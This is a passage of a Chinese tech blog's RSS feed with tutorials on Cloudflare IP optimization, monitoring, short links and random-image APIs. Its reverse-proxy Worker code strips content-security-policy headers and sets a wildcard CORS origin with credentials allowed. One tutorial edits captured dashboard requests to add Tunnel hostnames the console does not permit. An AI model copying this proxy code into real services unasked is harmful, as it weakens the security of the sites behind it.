<li>分流的原理是DNS看查询的源IP,如果是国内则返回国内节点,海外则返回海外。也就是说你的出口IP决定访问的节点,若你开梯子(如美国),就算你在国内,访问到的也是海外节点</li>
|
||
<li>DCV委派只能写一条,如果你的NS在EO,可以写DCV给ESA,而Cloudflare使用HTTP验证,这一切都将是一劳永逸,全自动化的</li>
|
||
<li>Cloudflare SaaS 在接入外部域名时,非常建议选择 HTTP验证来签发SSL,下文会详细说明该验证模式的好处。我们都知道,Cloudflare SaaS 在创建的时候,对于申请SSL默认选项是 TXT验证,但是该方式并不好,我们都知道,使用TXT验证的确可以签发证书,但在3月后(上一个SSL证书过期后),我们需要及时更新TXT记录来重新申领新的SSL证书,但是HTTP验证就不是这样了,Cloudflare CDN会自动在边缘节点放上HTTP验证的文件,并且Cloudflare可以随时更改,这样,你就不需要在申领新SSL的时候做任何事情了,一切都由Cloudflare自动实现</li>
|
||
<li>Cloudflare SaaS接入外部域名后,对于该外部域名是可以享有所有Cloudflare单域名下服务(也包括Cloudflare Worker,参见: <a href="/posts/cf-fastip/#%E9%92%88%E5%AF%B9%E4%BA%8Ecloudflare-workers/">Cloudflare Worker 优选</a>)。也可以配置规则等业务,你最终访问的是哪个域名就写哪个主机名,不要写回退源的主机名,除非你想让该规则仅在直接访问回退源时生效
|
||
<img src="https://blog.acofork.com/_astro/fenliu-11.BZ8Zi1wq.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/fenliu-10.B1RtvgAN.png" alt="" /></li>
|
||
<li>Cloudflare Tunnel实际上是可以自定义生效的域名的,并非仅局限于账户内域名(虽然你在控制台看着是这样),我们可以通过抓包更改请求体来实现各种各样的域名,它没有验证,详见:<a href="/posts/cf-fastip/#%E9%92%88%E5%AF%B9%E4%BA%8Ecloudflare-tunnelzerotrust/">Cloudflare Tunnel 优选</a>
|
||
<img src="https://blog.acofork.com/_astro/fenliu-13.BSKZTTVE.png" alt="" /></li>
|
||
<li>分流做完后,一定要针对国内节点启用封锁海外模式,这能大大降低被DDoS致使CDN商给你域名取消接入的概率。Cloudflare随你,因为打不死,如果你的源站Hold不住,也请配置点策略。因为刷子(DDoS发起者可以通过强行绑定域名和IP来通过便宜量大的海外IP来攻击你脆弱的国内节点,如果什么防护都不做,很可能被刷几个TB的异常流量然后被CDN取消接入)
|
||
<img src="https://blog.acofork.com/_astro/fenliu-14.93MlT4fl.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/fenliu-15.sk0bc08h.png" alt="" /></li>
|
||
</ul>
|
||
<h1>成果展示</h1>
|
||
<h3>博客本体</h3>
|
||
<p><img src="../assets/images/https___blogacoforkcom__%E5%A4%9A%E5%9C%B0%E5%8C%BA%E5%A4%9A%E7%BA%BF%E8%B7%AFHTTP%E6%B5%8B%E9%80%9F(1).png" alt="" /></p>
|
||
<h3>Umami</h3>
|
||
<p><img src="../assets/images/https___umamiacoforkcom__%E5%A4%9A%E5%9C%B0%E5%8C%BA%E5%A4%9A%E7%BA%BF%E8%B7%AFHTTP%E6%B5%8B%E9%80%9F.png" alt="" /></p>
|
||
<h3>随机图</h3>
|
||
<p><img src="../assets/images/https___picacoforkcom__%E5%A4%9A%E5%9C%B0%E5%8C%BA%E5%A4%9A%E7%BA%BF%E8%B7%AFHTTP%E6%B5%8B%E9%80%9F.png" alt="" /></p>
|
||
</content:encoded></item><item><title>试试Cloudflare IP优选!让Cloudflare在国内再也不是减速器!</title><link>https://blog.acofork.com/posts/cf-fastip/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cf-fastip/</guid><description>使用SaaS、Worker以及各种奇技淫巧来让你的网站解析的IP进行分流优选,提高网站可用性和速度</description><pubDate>Sun, 11 Jan 2026 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>本教程初始发布时间为 25年6月</p>
|
||
</blockquote>
|
||
<h4>未优选</h4>
|
||
<p><img src="https://blog.acofork.com/_astro/098f9ee71ae62603022e542878673e19bdcaf196.BYd5ucrt.webp" alt="QmZoinxZgAzu7Skh7BqsxmDQGU1sXtLLskJcyQuRAQNKww.webp" /></p>
|
||
<h4>已优选</h4>
|
||
<p><img src="https://blog.acofork.com/_astro/cf-fastip-11.Bnc0DTIE.png" alt="" /></p>
|
||
<hr />
|
||
<p>结论:可见,优选过的网站响应速度有很大提升,并且出口IP也变多了。这能让你的网站可用性大大提高,并且加载速度显著变快。</p>
|
||
<h3>Cloudflare优选域名: https://cf.090227.xyz</h3>
|
||
<hr />
|
||
<h1>Worker路由反代全球并优选(新)</h1>
|
||
<blockquote>
|
||
<p>本方法的原理为通过Worker反代你的源站,然后将Worker的入口节点进行优选。此方法不是传统的优选,源站接收到的Hosts头仍然是直接指向源站的解析</p>
|
||
<p>以下代码是原Github全站反代代码的二改以实现Worker路由接入优选,可能有多余逻辑或者不完全适配于优选需求</p>
|
||
</blockquote>
|
||
<p>创建一个Cloudflare Worker,写入代码</p>
|
||
<pre><code>// 域名前缀映射配置
|
||
const domain_mappings = {
|
||
'源站.com': '最终访问头.',
|
||
//例如:
|
||
//'gitea.072103.xyz': 'gitea.',
|
||
//则你设置Worker路由为gitea.*都将会反代到gitea.072103.xyz
|
||
};
|
||
|
||
addEventListener('fetch', event =&gt; {
|
||
event.respondWith(handleRequest(event.request));
|
||
});
|
||
|
||
async function handleRequest(request) {
|
||
const url = new URL(request.url);
|
||
const current_host = url.host;
|
||
|
||
// 强制使用 HTTPS
|
||
if (url.protocol === 'http:') {
|
||
url.protocol = 'https:';
|
||
return Response.redirect(url.href, 301);
|
||
}
|
||
|
||
const host_prefix = getProxyPrefix(current_host);
|
||
if (!host_prefix) {
|
||
return new Response('Proxy prefix not matched', { status: 404 });
|
||
}
|
||
|
||
// 查找对应目标域名
|
||
let target_host = null;
|
||
for (const [origin_domain, prefix] of Object.entries(domain_mappings)) {
|
||
if (host_prefix === prefix) {
|
||
target_host = origin_domain;
|
||
break;
|
||
}
|
||
}
|
||
|
||
if (!target_host) {
|
||
return new Response('No matching target host for prefix', { status: 404 });
|
||
}
|
||
|
||
// 构造目标 URL
|
||
const new_url = new URL(request.url);
|
||
new_url.protocol = 'https:';
|
||
new_url.host = target_host;
|
||
|
||
// 创建新请求
|
||
const new_headers = new Headers(request.headers);
|
||
new_headers.set('Host', target_host);
|
||
new_headers.set('Referer', new_url.href);
|
||
|
||
try {
|
||
const response = await fetch(new_url.href, {
|
||
method: request.method,
|
||
headers: new_headers,
|
||
body: request.method !== 'GET' &amp;&amp; request.method !== 'HEAD' ? request.body : undefined,
|
||
redirect: 'manual'
|
||
});
|
||
|
||
// 复制响应头并添加CORS
|
||
const response_headers = new Headers(response.headers);
|
||
response_headers.set('access-control-allow-origin', '*');
|
||
response_headers.set('access-control-allow-credentials', 'true');
|
||
response_headers.set('cache-control', 'public, max-age=600');
|
||
response_headers.delete('content-security-policy');
|
||
response_headers.delete('content-security-policy-report-only');
|
||
|
||
return new Response(response.body, {
|
||
status: response.status,
|
||
statusText: response.statusText,
|
||
headers: response_headers
|
||
});
|
||
} catch (err) {
|
||
return new Response(`Proxy Error: ${err.message}`, { status: 502 });
|
||
}
|
||
}
|
||
|
||
function getProxyPrefix(hostname) {
|
||
for (const prefix of Object.values(domain_mappings)) {
|
||
if (hostname.startsWith(prefix)) {
|
||
return prefix;
|
||
}
|
||
}
|
||
return null;
|
||
}
|
||
</code></pre>
|
||
<p>创建路由</p>
|
||
<p><img src="https://blog.acofork.com/_astro/56752d54-26a5-46f1-a7d9-a782ad9874cb.CzkuRTP6.webp" alt="" /></p>
|
||
<p>类似这样填写</p>
|
||
<p><img src="https://blog.acofork.com/_astro/d025398c-39e3-4bd7-8d8f-2ce06a45007d.BZfb0DXO.webp" alt="" /></p>
|
||
<p>最后写一条DNS解析 <code>CNAME gitea.afo.im --&gt; 社区优选域名,如 cf.090227.xyz</code> 即可</p>
|
||
<h1>传统优选</h1>
|
||
<blockquote>
|
||
<p>[!WARNING]
|
||
Cloudflare最近将新接入的域名SSL默认设为了完全,记得将 SSL 改为灵活。
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip-1.ByRDtsAZ.png" alt="" /></p>
|
||
</blockquote>
|
||
<blockquote>
|
||
<p>我们需要<strong>一个域名或两个域名</strong>(单域名直接用子域名即可。双域名比如:onani.cn和acofork.cn)。</p>
|
||
<p><strong>如果在同一CF账号下不可用,请尝试将俩域名放置在不同账号</strong></p>
|
||
</blockquote>
|
||
<p>这里我们让onani.cn成为主力域名,让acofork.cn成为辅助域名</p>
|
||
<p>单域名效果
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip.CCFyge3n.png" alt="" /></p>
|
||
<hr />
|
||
<ol>
|
||
<li>
|
||
<p>首先新建一个DNS解析,指向你的<strong>源站</strong>,<strong>开启cf代理</strong>
|
||
<img src="https://blog.acofork.com/_astro/c94c34ee262fb51fb5697226ae0df2d804bf76fe.DQJBWagu.webp" alt="QmfBKgDe77SpkUpjGdmsxqwU2UabvrDAw4c3bgFiWkZCna.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>前往<strong>辅助域名</strong>的 SSL/TLS -&gt; 自定义主机名。设置回退源为你刚才的DNS解析的域名:xlog.acofork.cn(推荐 <strong>HTTP 验证</strong> )</p>
|
||
</li>
|
||
<li>
|
||
<p>点击添加自定义主机名。设置一个自定义主机名,比如 <code>onani.cn</code> ,然后选择<strong>自定义源服务器</strong>,填写第一步的域名,即 <code>xlog.acofork.cn</code> 。</p>
|
||
<p>如果你想要创建多个优选也就这样添加,一个自定义主机名对应一个自定义源服务器。如果你将源服务器设为默认,则源服务器是回退源指定的服务器,即 <code>xlog.acofork.cn</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/f6170f009c43f7c6bee4c2d29e2db7498fa1d0dc.Bev-ciX-.webp" alt="QmRYrwjeDMDQCj8G9RYkpjC3X4vpwE77wpNpbqKURwBber.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>继续在你的辅助域名添加一条解析。CNAME到优选节点:如cloudflare.182682.xyz,<strong>不开启cf代理</strong>
|
||
<img src="https://blog.acofork.com/_astro/4f9f727b0490e0b33d360a2363c1026003060b29.Dk0vVwZD.webp" alt="QmNwkMqDEkCGMu5jsgE6fj6qpupiqMrqqQtWeAmAJNJbC4.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>最后在你的主力域名添加解析。域名为之前在辅助域名的自定义主机名(onani.cn),目标为刚才的cdn.acofork.cn,<strong>不开启cf代理</strong>
|
||
<img src="https://blog.acofork.com/_astro/6f51cb2a42140a9bf364f88a5715291be616a254.BlVW1RqY.webp" alt="QmeK3AZghae4J4LcJdbPMxBcmoNEeF3hXNBmtJaDki8HYt.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>优选完毕,确保优选有效后尝试访问
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip-10.BYCdqQDH.png" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>(可选)你也可以将cdn子域的NS服务器更改为阿里云\华为云\腾讯云云解析做线路分流解析</p>
|
||
<blockquote>
|
||
<p>优选工作流:用户访问 -&gt; 由于最终访问的域名设置了CNAME解析,所以实际上访问了cdn.acofork.cn,并且携带 <strong>源主机名:onani.cn</strong> -&gt; 到达cloudflare.182682.xyz进行优选 -&gt; 优选结束,cf边缘节点识别到了携带的 <strong>源主机名:onani.cn</strong> 查询发现了回退源 -&gt; 回退到回退源内容(xlog.acofork.cn) -&gt; 访问成功</p>
|
||
</blockquote>
|
||
</li>
|
||
</ol>
|
||
<h1>针对于Cloudflare Page</h1>
|
||
<ol>
|
||
<li>
|
||
<p>你可以直接将你绑定到Page的子域名直接更改NS服务器到阿里云\华为云\腾讯云云解析做线路分流解析</p>
|
||
</li>
|
||
<li>
|
||
<p>将您的Page项目升级为Worker项目,使用下面的Worker优选方案(更简单)。详细方法见: 【CF Page一键迁移到Worker?好处都有啥?-哔哩哔哩】 https://b23.tv/t5Bfaq1</p>
|
||
</li>
|
||
</ol>
|
||
<h1>针对于Cloudflare Workers</h1>
|
||
<ol>
|
||
<li>在Workers中添加路由,然后直接将你的路由域名从指向<code>xxx.worker.dev</code>改为<code>cloudflare.182682.xyz</code>等优选域名即可</li>
|
||
<li>如果是外域,SaaS后再添加路由即可,就像
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip-12.cj8MBK0W.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip-13.CebJYUyj.png" alt="" /></li>
|
||
</ol>
|
||
<h1>针对于Cloudflare Tunnel(ZeroTrust)</h1>
|
||
<p>请先参照 <a href="#%E4%BC%A0%E7%BB%9F%E4%BC%98%E9%80%89">常规SaaS优选</a> 设置完毕,源站即为 Cloudflare Tunnel。正常做完SaaS接入即可
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip-2.BMNXaq4L.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip-3.BnSFOiaj.png" alt="" /></p>
|
||
<p>接下来我们需要让打到 Cloudflare Tunnel 的流量正确路由,否则访问时主机名不在Tunnel中,会触发 <strong>catch: all</strong> 规则,总之就是没法访问。首先随便点开一个隧道编辑
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip-4.CYqXR03x.png" alt="" /></p>
|
||
<p>打开浏览器F12,直接保存,抓包请求
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip-5.645fyi53.png" alt="" /></p>
|
||
<p>抓包 <strong>PUT</strong> 请求,右键复制为 <strong>cURL</strong>
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip-6.CwIQ75tF.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/cf-fastip-7.Bise5Hci.png" alt="" /></p>
|
||
<p>打开 <strong>Postman</strong> 粘贴整个请求,导航到 <strong>Body</strong> 页,添加一个新项目, <strong>hostname</strong> 为你优选后(最终访问)的域名, <strong>service</strong> 为一个正确的源。然后 <strong>Send</strong> !
|
||
<img src="https://blog.acofork.com/_astro/cf-fastip-8.CCTVQVyI.png" alt="" /></p>
|
||
<p>接下来,控制台会自动多出来一个新的域名,再次访问就正常了</p>
|
||
<p><em>至于为什么要这么做,因为你要添加的域名可能并不在你的 Cloudflare 账户中,而控制台的添加仅能添加CF账户内的域名,所以需要抓包曲线救国</em></p>
|
||
<p><img src="https://blog.acofork.com/_astro/cf-fastip-9.ZAu8td6L.png" alt="" /></p>
|
||
<hr />
|
||
<h1>针对于使用了各种CF规则的网站</h1>
|
||
<p>你只需要让规则针对于你的最终访问域名,因为CF的规则是看主机名的,而不是看是由谁提供的</p>
|
||
<h1>针对于虚拟主机</h1>
|
||
<p>保险起见,建议将源站和优选域名同时绑定到你的虚拟主机,保证能通再一个个删</p>
|
||
</content:encoded></item><item><title>你有一个全球网站?如何做好监控?</title><link>https://blog.acofork.com/posts/double-monitior/</link><guid isPermaLink="true">https://blog.acofork.com/posts/double-monitior/</guid><description>如果你正好在运营一个全球性的网站,它可能在不同地区有不同节点,我们要如何做好宕机提醒?</description><pubDate>Fri, 09 Jan 2026 11:26:02 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>视频: https://www.bilibili.com/video/BV14dqwBVEa5/</p>
|
||
</blockquote>
|
||
<p>比如说我的博客
|
||
::url{href=https://blog.acofork.com}</p>
|
||
<p>它在国内的节点是 <strong>阿里云 ESA Pages/EdgeOne Pages</strong> ,而在国外的节点是 <strong>Cloudflare Page</strong></p>
|
||
<p>我使用的方案是在国内自托管一个 <strong>Uptime Kuma</strong> 服务,而在海外使用一些大厂的云监控,如 <strong>BetterStack</strong> <strong>UptimeRobot</strong> 等等,并且让他们互相监控</p>
|
||
<p>对于大厂的监控,我们不必做防护,但对于你自托管的监控,推荐套 <strong>Cloudflare Tunnel</strong> ,防止被DDoS</p>
|
||
<p>国内监控:
|
||
::url{href=https://kuma.2x.nz}</p>
|
||
<p>海外监控:
|
||
::url{href=https://vps.2x.nz}</p>
|
||
</content:encoded></item><item><title>无需服务器!从零教你自建一个短链服务!</title><link>https://blog.acofork.com/posts/shorter-url/</link><guid isPermaLink="true">https://blog.acofork.com/posts/shorter-url/</guid><description>你是否有一个短域名?没有也没关系,马上教你从域名开始搭建一个短链服务!</description><pubDate>Fri, 09 Jan 2026 10:55:33 GMT</pubDate><content:encoded><h1>视频</h1>
|
||
<p>https://www.bilibili.com/video/BV1BCi1B7E1q/</p>
|
||
<h1>Demo</h1>
|
||
<p>https://2x.nz/s</p>
|
||
<h1>拿域名!</h1>
|
||
<p>我们需要一个短域名,来作为我们的短链服务的入口</p>
|
||
<p>我们可以前往这些地方购买短域名,建议后缀 <code>.nz</code> <code>.mk</code> <code>.im</code> ,建议2-3位长度的域名</p>
|
||
<ul>
|
||
<li><a href="https://www.spaceship.com/zh/">迈向未来 - Spaceship</a></li>
|
||
<li><a href="https://porkbun.com/">porkbun.com | An oddly satisfying experience.</a></li>
|
||
<li><a href="https://www.quyu.net/">【趣域网】域名注册网站哪个好_注册域名查询购买_whois信息查询_域名交易网_ - 趣域网</a></li>
|
||
</ul>
|
||
<h1>基础思路</h1>
|
||
<p>Cloudflare Page/Worker的重定向文件提供了基于文件的重定向功能,参考 <a href="/posts/cfpage-redirect/">这篇文章</a></p>
|
||
<p>接下来我们再利用 Cloudflare Worker 连接Github帮我们去更新这个文件,顺便搓一个前端出来让用户能够生成短链即可</p>
|
||
<h1>防护措施</h1>
|
||
<blockquote>
|
||
<p>[!CAUTION]
|
||
必须在最终重定向时不直接重定向到业务域名,需要配置中间页,否则你的域名一定会在后期被举报为 <strong>滥用/钓鱼/诈骗网站</strong></p>
|
||
</blockquote>
|
||
<ul>
|
||
<li>重定向文件限制静态重定向 <strong>2000</strong> ,动态重定向 <strong>100</strong></li>
|
||
<li>单行字符串不超过 <strong>1024</strong></li>
|
||
</ul>
|
||
<h1>服务架构图</h1>
|
||
<p><img src="https://blog.acofork.com/_astro/MermaidChart-Createcomplexvisualdiagramswithtext-2026-01-09-031619.DaCu2KVo.png" alt="" /></p>
|
||
</content:encoded></item><item><title>超高校级的监控服务:UptimeFlare!基于CF Worker!自托管!声明式!新手友好!</title><link>https://blog.acofork.com/posts/uptimeflare/</link><guid isPermaLink="true">https://blog.acofork.com/posts/uptimeflare/</guid><description>谁不想拥有一个监控自己服务的服务呢?</description><pubDate>Sat, 03 Jan 2026 03:10:53 GMT</pubDate><content:encoded><h1>从KV迁移</h1>
|
||
<p>由于原项目于26/1/3将数据存储从KV迁移到了D1,并且配备了完备的i18n,如果你仍在运营旧版的UptimeFlare,建议升级,下面是迁移教程</p>
|
||
<p>首先,将你之前配置的Cloudflare API令牌添加一个新的权限 <strong>编辑D1</strong></p>
|
||
<p>然后备份根目录的 <code>uptime.config.ts</code> ,直接 把原仓库删了(但是不要删KV,Worker,Page),Fork我的仓库</p>
|
||
<p>::github{repo="afoim/UptimeFlare"}</p>
|
||
<p>接下来编辑新的 <code>uptime.config.ts</code></p>
|
||
<p>参阅 <a href="https://github.com/afoim/UptimeFlare/blob/main/uptime.config.ts">UptimeFlare/uptime.config.ts at main · afoim/UptimeFlare</a> 主要就是将自定义callback迁移到官方的WebHook方法</p>
|
||
<p>编辑后推送,会自动触发Github Action的自动部署,它会自动将KV内的数据迁移到D1</p>
|
||
<p>这迁移到D1何意味
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-16.DOE6xDob.png" alt="" /></p>
|
||
<h1>前言</h1>
|
||
<p>本来这个教程应该是永远都不会出的,因为在此之前,我曾经给大家介绍了一个无需自托管的监控服务:<a href="/posts/uptimerobot/">UptimeRobot</a></p>
|
||
<p>但是,就在最近我再次查看控制台,发现之前创建的监控全部都没了,咱也不知道是被官方删了还是号被黑客大手子肘击了,总之,我现在不得不要重建监控服务了</p>
|
||
<h1>原理</h1>
|
||
<p>首先,UptimeFlare是一个基于Cloudflare Worker+D1的监控服务</p>
|
||
<p>它的原理非常简单,一共由三个部分组成</p>
|
||
<ul>
|
||
<li><strong>前端</strong>:放在Cloudflare Page,用于给用户展示zhandianzhuangt</li>
|
||
<li><strong>后端</strong>:放在Cloudflare Worker,通过 Worker 自带的 <strong>Cron</strong> 每分钟 检查站点状态,并将状态持久化进 <strong>D1</strong>
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-1.BKhlEp5q.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-14.DgUuEFgo.png" alt="" /></li>
|
||
</ul>
|
||
<h1>正式开始</h1>
|
||
<p>首先我们需要 <strong>Fork</strong> 项目,建议Fork我的项目(由于原项目不知道为什么不给在某些地方注入环境变量,所以建议Fork我的)</p>
|
||
<p>::github{repo="afoim/UptimeFlare"}</p>
|
||
<p>首先,我们先尝试将其部署到Cloudflare</p>
|
||
<p>创建一个Cloudflare API Token <strong>编辑Workers</strong> 和 <strong>D1</strong>
|
||
<img src="https://blog.acofork.com/_astro/msedge_HwStEUKYVx1.u1Stq37R.gif" alt="" /></p>
|
||
<p>接下来将该Token绑定到你的Github仓库
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-4.BdTLYcyD.png" alt="" /></p>
|
||
<p>最后,来到 <code>Action</code> 页面,手动创建一个 <code>Deploy to Cloudflare</code> 的工作流
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-5.YDQBA7E2.png" alt="" /></p>
|
||
<p>等待工作流运行结束,你应该可以在Cloudflare仪表板看见一个新的Page,新的Worker和新的D1
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-6.KrGuTtk1.png" alt="" /></p>
|
||
<p>点开 Page,注意不要点错了
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-8.BFS0l2ZW.png" alt="" /></p>
|
||
<p>绑定你的域名,尝试访问
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-9.Bcx-kiwy.png" alt="" /></p>
|
||
<p>如果你能看到一个初始的监控页面,则正常
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-10.CYOFmuCg.png" alt="" /></p>
|
||
<p>接下来,我们开始自定义该监控</p>
|
||
<p>编辑根目录的 <code>uptime.config.ts</code></p>
|
||
<p>如果服务故障如何做通知?</p>
|
||
<p>UptimeFlare非常自由,你可以在 <code>callbacks</code> 中编写故障时要做的任何事情,这里以发送 <code>POST</code> 请求让 <code>Resend</code> 发送邮件给你举例</p>
|
||
<p>首先前往 https://resend.com/</p>
|
||
<p>添加一个域名(作为你的发信域名)
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-11.BGV9fH6W.png" alt="" /></p>
|
||
<p>创建一个发信API Key
|
||
<img src="https://blog.acofork.com/_astro/uptimeflare-12.BJnKCA9W.png" alt="" /></p>
|
||
<p>添加环境变量: <code>RESEND_API_KEY</code> 将其绑定到 <strong>Action</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/uptimeflare-13.C5fIUV0y.png" alt="" /></p>
|
||
<p>编辑 <code>uptime.config.ts</code> 的 <code>webhook.payload</code> 部分</p>
|
||
<p>示例代码:</p>
|
||
<pre><code> payload: {
|
||
"from": "系统状态更新 &lt;uptimeflare@update.2x.nz&gt;",
|
||
"to": ["acofork@foxmail.com"],
|
||
"subject": "UptimeFlare 状态更新",
|
||
"text": "$MSG"
|
||
},
|
||
</code></pre>
|
||
<p>接下来,当服务故障/重新上线就会通知你啦~
|
||
<img src="https://blog.acofork.com/_astro/1dc1a98a404db83e909c1f87e8a115cf.CVNrDOmh.png" alt="" /></p>
|
||
<p>最终效果:
|
||
::url{href="https://ok.2x.nz"}</p>
|
||
</content:encoded></item><item><title>完全免费!从架构,开发到部署,一条龙实打实的教你做一言/随机图等随机URL的最佳实践</title><link>https://blog.acofork.com/posts/random-url-gen/</link><guid isPermaLink="true">https://blog.acofork.com/posts/random-url-gen/</guid><description>我曾于2024搭建了第一个随机图网站,最近几周又深度研究了类似项目,发现这类项目有很多坑也有很多神秘的捷径,并且某些架构还可以做到“永生”...</description><pubDate>Mon, 29 Dec 2025 10:10:40 GMT</pubDate><content:encoded><h1>探索架构</h1>
|
||
<p>我们先不讲一个抽象的概念,我们首先来做一个小项目</p>
|
||
<p><strong>一个随机图API,每次请求都返回不同的图片</strong></p>
|
||
<p>你会怎么做?</p>
|
||
<p>有非常多的解决方案,就拿最简单的一说,我们可以先搞来一个服务器,然后往里面塞图片,最后写一个脚本创建一个Web服务器,接收客户端请求,每一个请求都从图片库里抽一张图返回</p>
|
||
<p>能实现吗?</p>
|
||
<p>当然可以!这是你的流程图!
|
||
<img src="https://blog.acofork.com/_astro/random-url-gen-5.Bxs9LXZa.png" alt="" />
|
||
但也会带来一些问题,比如,图片存在本地,给客户端响应图片的时候走的是你机子的流量,那么你就需要一个 <strong>高带宽</strong> 的服务器,这无疑是一个 <strong>高昂</strong> 的成本</p>
|
||
<p>那可能你会有新的方案: <strong>前后端分离</strong> (逻辑与资产分离),只将返回这个图片的逻辑存放在服务器上,而图片存到其他地方,如对象存储(Cloudflare R2)、IPFS等等
|
||
<img src="https://blog.acofork.com/_astro/random-url-gen-6.BXJdm3Jw.png" alt="" />
|
||
那么问题又来了,假如说你的项目太多人用了,那你的服务器性能可能不够,在后期,你仍然需要一个 <strong>高昂</strong> 的 <strong>维护成本</strong></p>
|
||
<p>那么那么那么,现在是 <strong>2025</strong> 年,传统的架构已经无法满足我们了,我们不妨可以试试 <strong>云函数</strong>
|
||
仍然是前后端分离,我们现在将逻辑放到一个函数上面,如Cloudflare Worker、EdgeOne Function、Vercel Function等等
|
||
<img src="https://blog.acofork.com/_astro/random-url-gen-8.CwUVrcPa.png" alt="" />
|
||
那么现在是不是无敌了?</p>
|
||
<p>并非,虽然前端因为使用了 <strong>云函数</strong> 也就是直接接入了CDN,高并发已经不是问题了,但是由于资产并不直接托管在 <strong>云函数</strong> 中,<strong>云函数</strong> 仍然需要创建一个长连接从你的后端,如对象存储获取图片,这样一折腾,你的服务可能并不算快</p>
|
||
<p>有人就会说了,那既然现在我都把我服务器丢了,前端在云,后端也在云,为什么不直接让前端的云直接存储后端的资产呢?</p>
|
||
<p>当然可以!你已经非常接近最佳实践了!</p>
|
||
<p>绝大部分 <strong>云函数</strong> 都支持动静结合,也就是支持你在他们的云存放一些动态脚本,再顺便 <strong>存放静态资产</strong></p>
|
||
<p>那么接下来,你就得到了一个完全不需要你买服务器托管,也不需要你担心存储爆仓导致天价账单的随机图...了吗?</p>
|
||
<p><img src="https://blog.acofork.com/_astro/random-url-gen-4.k7btNjVk.png" alt="" /></p>
|
||
<h1>探索随机图(随机URL)的本质</h1>
|
||
<p>我们刚刚只是在抽象的说明某种架构 <strong>好像</strong> 可行,<strong>好像</strong> 又有什么问题,然后又有一种什么新思路 <strong>好像</strong> 可以解决这个问题</p>
|
||
<p>但我们要走的路才刚刚开始,我们不妨思考一下,随机图,又或者说随机URL这类项目,服务器(如果有)究竟发送了什么给客户端,客户端又对服务器发回的报文执行了什么动作</p>
|
||
<p>你肯定知道,如果想要客户端每次请求同一个URL,都返回不同的东西,那肯定是服务器针对每一个请求都返回了不同的响应,它可以是内部的,比如直接在响应体塞图片,又或者也可以是 <strong>重定向</strong></p>
|
||
<p>直接在响应体塞图片很简单,在客户端是不可见的,当客户端请求API时,服务器直接将选中的图片作为响应体发出,在客户端看来,就好像是请求了一张图片,只不过每次刷新都不一样</p>
|
||
<p>而响应 <strong>重定向</strong> 就更简单了,只需要让服务器发送一个 <strong>临时重定向</strong> 的状态码,比如 <strong>302</strong></p>
|
||
<p>有人就会说了,为什么必须要 <strong>临时重定向</strong> ?</p>
|
||
<p>因为你肯定是想要客户端每次刷新都返回不同的图,一旦你使用了 <strong>永久重定向</strong> 如 <strong>301</strong> ,客户端在收到 <strong>301</strong> 的那一刻就会在浏览器里写一个记录:<strong>下次访问这个URL直接重定向,不再请求服务器</strong> ,这就会导致你的随机图API真的就变成一张图片了</p>
|
||
<p>那么,这两种方法哪种更好呢?</p>
|
||
<p>各有利弊,一句话说明:<strong>直接返回MIME类型是连请求复用,仅需一次请求即可得到图片。而返回302重定向至少需要客户端请求两次</strong></p>
|
||
<p>这得看你的实际架构,如果说你是前后端分离,即逻辑和资产不在一个地方,肯定是 302 好,因为如果你直接在响应体塞图片,就相当于你的服务器作为 <strong>代理</strong> 让客户端访问你的资产,流量全部走你服务器</p>
|
||
<p>而如果说你前后端都在一起,正常情况下来说,一次请求复用肯定是比两次连接更快的,不过为了方便管理和统计,我的大部分API仍然使用 <strong>302 重定向</strong></p>
|
||
<p>::github{repo="afoim/EdgeOne_Function_PicAPI"}</p>
|
||
<p>上线的API: https://eopfapi.acofork.com/pic?img=ua</p>
|
||
<h1>奇技淫巧1:利用Cloudflare Origin Rules实现无计费的随机URL</h1>
|
||
<blockquote>
|
||
<p>Video: https://www.bilibili.com/video/BV19ZBzB8EDQ/
|
||
起因于有一天一位粉丝在我视频下留言
|
||
<img src="https://blog.acofork.com/_astro/random-url-gen-9.DMuf-bAG.png" alt="" /></p>
|
||
</blockquote>
|
||
<p>他提到的仓库为</p>
|
||
<p>::github{repo="Mabbs/cf-hitokoto"}</p>
|
||
<p>大致为,Cloudflare在规则提供一个方法,该方法可以在规则层生成一个UUID,而UUID每次都是随机的,我们可以依据此来在规则层做随机URL</p>
|
||
<p>理论可行,实践开始</p>
|
||
<p>首先,我们要知道UUID是一串带有连字符的随机数,而每一位有16种可能,我们可以仅截取前4位,也就是 16^4 ,共能存储65536张图,每一张图可以分配到一个唯一的UUID,接下来让CF边缘在收到请求的时候,生成UUID,然后直接拼接URL请求静态资产,如 <code>/img/0000.jpg</code> ,再返回给客户端即可</p>
|
||
<p>那如果说我图比这多呢?加一位,16^5 = 1048576,够用了吧
|
||
